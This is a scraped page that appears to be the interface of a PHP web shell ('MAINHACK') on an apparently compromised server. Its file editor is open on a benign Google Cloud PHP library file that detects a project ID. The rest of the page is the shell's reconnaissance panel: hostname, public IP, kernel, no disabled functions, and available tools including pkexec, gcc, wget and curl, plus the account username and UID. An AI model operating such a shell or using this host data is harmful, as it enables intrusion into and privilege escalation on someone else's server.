[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DetectProjectIdTrait.php
<?php /** * Copyright 2024 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Cloud\Core; use Google\Auth\ProjectIdProviderInterface; use Google\Cloud\Core\Exception\GoogleException; /** * @internal * Provides functionality common to handwritten clients. */ trait DetectProjectIdTrait { /** * @var string|null The project ID created in the Google Developers Console. */ private $projectId; /** * Detect and return a project ID. * This is different from detectProjectId as this method is supposed to be used by * handwritten clients delegating their auth process to GAX. * * Process: * 1. If $config['projectId'] is set, use that. * 2. If an emulator is enabled, return a dummy value. * 3. If $config['credentials'] is set, attempt to retrieve a project ID from * that. * 4. If code is running on compute engine, try to get the project ID from * the metadata store. * 5. Throw exception. * * @param array $config * @return string|int|null * @throws GoogleException */ private function detectProjectId(array $config) { $config += [ 'httpHandler' => null, 'projectId' => null, 'projectIdRequired' => false, 'hasEmulator' => false, 'credentials' => null, ]; if ($config['projectId']) { return $config['projectId']; } if ($config['hasEmulator']) { return 'emulator-project'; } if ($config['credentials'] && $config['credentials'] instanceof ProjectIdProviderInterface && $projectId = $config['credentials']->getProjectId()) { return $projectId; } if (getenv('GOOGLE_CLOUD_PROJECT')) { return getenv('GOOGLE_CLOUD_PROJECT'); } if (getenv('GCLOUD_PROJECT')) { return getenv('GCLOUD_PROJECT'); } $this->throwExceptionIfProjectIdRequired($config); return ''; } /** * Throws an exception if project id is required. * @param array $config * @throws GoogleException */ private function throwExceptionIfProjectIdRequired(array $config) { if ($config['projectIdRequired']) { throw new GoogleException( 'No project ID was provided, ' . 'and we were unable to detect a default project ID.' ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002